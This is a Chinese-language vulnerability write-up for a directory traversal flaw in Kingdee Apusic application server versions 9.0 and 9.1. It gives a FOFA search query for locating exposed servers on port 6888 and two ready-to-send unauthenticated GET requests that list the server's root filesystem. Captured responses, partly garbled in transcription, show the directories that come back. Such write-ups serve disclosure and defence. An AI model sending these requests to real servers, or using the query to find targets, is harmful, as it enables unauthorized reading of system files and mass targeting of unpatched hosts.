

J17-6金蝶-Apusic应用服务器-目录遍历

漏洞描述:

由于金蝶Apusic应用服务器 /admin/protected/selector/server_file/files、/admin/protected/selector/server_file/folders 等接口没有进行校验和过滤, 直接将参数拼接到文件操作中, 导致出现目录遍历漏洞, 未经身份验证的远程攻击者可通过此漏洞读取系统内部系统文件路径及信息, 导致信息泄露, 系统处于极不安全状态。

影响版本:

Apusic_port = 6888
Apusic_version = 9.0、9.1

网站图片:



资源导航

- Web管理控制台**
管理Apusic应用服务器
- Apusic软件注册中心**
获取Apusic商业用户软件授权文件

深圳市金蝶中间件有限公司
金蝶国际软件集团有限公司

新特性

- 完全实现企业级应用规范**
Apusic应用服务器完全符合企业级应用规范, 实现了包括以下规范在内的企业级标准:
 - Enterprise JavaBeans(EJB) 3.1
 - Java API for XML-Based Web Services(JAX-WS) 2.0
 - Java Architecture for XML binding 2.2
 - Web Services Metadata for the Java Platform 2.0
 - SOAP with Attachments API for Java(SAAJ) 1.3
 - Servlet 3.0
 - Java ServerPages(JSP) 2.2
 - Java Transaction API 1.1
 - Java Message Service 1.1
 - CDI for Java EE 1.0
- 其它特性**
 - Web 2.0**
提供全新的Web应用程序支持, 包括富客户端、动态协作支持。
 - 完善的集群功能**
支持多种负载均衡策略, 提供session成对复制功能。
 - 可灵活扩展的安全框架**
能够将JavaEE的安全认证与第三方安全产品结合, 以提供完善的安全管理功能; 支持We
 - 与Apache的紧密集成**
在用Apache作为负载均衡时, 能够有效的支持sticky session特性。

网络测绘:

fofa语法:

```
(body="casSessionId" || header="casportal" || header="cassso/login" || banner="cassso/login" || body="/cassso/common" || (title="EAS系统登录" && body="金蝶") || header="EASSESSIONID" || banner="EASSESSIONID") && port="6888"
```

漏洞复现:

payload:

```
GET /admin/protected/selector/server_file/files?folder=/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /admin/protected/selector/server_file/files?folder=/ HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Connection: close

Responses 967bytes / 37ms

x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm950, x-ibm951, x-ibm954, x-ibm954c, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-jisautodetect, x-johab, x-koi8_ru, x-kscx-macroatian, x-maccyrillic, x-macdingbat, x-macroman, x-macromania, x-macsymbol, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-windows-50220, x-windows-50221, x-windows-iso2022jp

4 date: Fri, 05 Apr 2024 07:43:46 GMT

5 server: Apusic Application Server/9.0 (Linux 7.0)

6 x-powered-by: Servlet/2.5 JSP/2.1

7 connection: close

8 nap_backend: 192.168.2.6:6898

9 set-cookie: EASSESSIONID=-1596724341; path=/

10 set-cookie: NAPRoutID=-1596724341; path=/

11 Content-Length: 967

12

13 [{"total":0,"rows":[{"name":"boot","path":"/dev","folder":true}, {"name":"home","path":"/path":"/proc","folder":true}, {"name":"run","path":"/sys","folder":true}, {"name":"etc","path":"/root","folder":true}, {"name":"var","path":"/tmp","folder":true}, {"name":"usr","path":"/bin","folder":true}, {"name":"/sbin"

poc-2

GET /admin/protected/selector/server_file/folders?parent=/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /admin/protected/selector/server_file/folders?parent=/ HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Connection: close

Responses 931bytes / 44ms

x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm950, x-ibm951, x-ibm954, x-ibm954c, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-jisautodetect, x-johab, x-koi8_ru, x-kscx-macroatian, x-maccyrillic, x-macdingbat, x-macroman, x-macromania, x-macsymbol, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-windows-50220, x-windows-50221, x-windows-iso2022jp

4 date: Fri, 05 Apr 2024 07:46:57 GMT

5 server: Apusic Application Server/9.0 (Linux 7.0)

6 x-powered-by: Servlet/2.5 JSP/2.1

7 connection: close

8 nap_backend: 192.168.2.6:6898

9 set-cookie: EASSESSIONID=-1596724349; path=/

10 set-cookie: NAPRoutID=-1596724349; path=/

11 Content-Length: 931

12

13 [{"text":"boot","path":"/boot","hasChildren":true}, {"text":"home","path":"/path":"/proc","hasChildren":true}, {"text":"/sys","path":"/sys","hasChildren":true}, {"text":"/var","path":"/var","hasChildren":true}, {"text":"/usr","path":"/usr","hasChildren":true}, {"text":"/sbin"